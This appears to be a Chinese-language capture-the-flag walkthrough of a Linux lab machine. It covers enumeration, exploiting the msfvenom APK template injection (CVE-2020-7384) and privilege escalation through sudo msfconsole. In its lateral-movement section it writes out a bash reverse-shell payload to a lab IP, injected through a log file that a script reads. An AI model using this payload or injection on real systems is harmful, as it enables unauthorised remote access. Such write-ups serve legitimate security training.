Enumeration
nmap
第一次扫描发现系统对外开放了22和5000端口,端口详细信息如下
22端口运行着openssh,5000端口则是werkzeug的httpd,tittle是kid's hacker tools
TCP/5000
首先从5000端口开始,先访问站点,站点是一个综合了三个攻击互动的网页,有nmap,payloads,sploits
nmap会扫描给定ip的100个端口,是对外开放排名前100的端口,如果设置ip为127.0.0.1,没有其他收获
sploits就是searchsploit,可以搜索指定服务的漏洞
payloads会帮助生成payloads,输入lhost,也可以选择上传一个模版,点击generate后传递给msfvenom,然后生成 一个payload,并且提供一个下载链接
Foothold
CVE-2020-7384
Metasploit Framework <= 6.0.11 受到 msfvenom 中 APK 模版命令注入漏洞的影响,尽管不知道目标运行的版本,但可以尝试一下。在metasploit中找到利用脚本,设置payload为cmd/unix/reverse_netcat,查看设置项,发现只需要设置本地地址和端口
执行后,会生成一个apk文件
这时,我可以开启本地监听,然后将apk上传
点击generate生成后,等待一段时间后,网页报错
但是在本地得到shell
然后对shell进行一个升级,在kid目录下可以得到user.txt
Lateral Movement
在寻找flag的过程中,还发现了另一个用户pwn
在pwn目录下发现了一个sh文件,scanlosers.sh
该脚本读取/home/kid/logs/hackers中的ip地址,然后执行nmap命令
单个空格字符被用作字段分隔符(-d' '),从第三个字段开始的所有字段(-f3-)都被视为 IP 地址的一部分 此外,由于没有进行输入验证,脚本很容易被任意操作系统命令注入
可是查看/home/kid/logs/hackers文件时却发现该文件没有内容,尝试查看/home/kid/html/app.py源代码 将代码复制并查看关键字hackers,部分代码如下,看起来是要匹配regex_alphanum,该处有什么规则
def searchsploit(text, srcip): if regex_alphanum.match(text): result = subprocess.check_output(['searchsploit', '--color', text]) return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore')) else: with open('/home/kid/logs/hackers', 'a') as f: f.write(f'[{datetime.datetime.now()}] {srcip}\n') return render_template('index.html', sserror="stop hacking me - well hack you back")
再次搜索关键字,得到下面的结果
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
如果提交的任何内容与该内容不匹配,则会将名称和源 IP 写入文件/home/kid/logs/hackers
回到网页中,进行操作,确实返回了这句话,但是hackers很快就会被清空,可能刚才的脚本在执行完nmap命令后会清空
可以在本地开启监听,然后向/home/kid/logs/hackers中写入反向shell 执行下面的脚本,然后在监听端得到shell
echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.3/5555 0>&1")' >/home/kid/logs/hackers
Privilege Escalation
使用sudo -l,发现可以不需要密码以root权限执行msfconsole程序
在GTFObins中找到利用方法
按照上述方法执行即可提权至root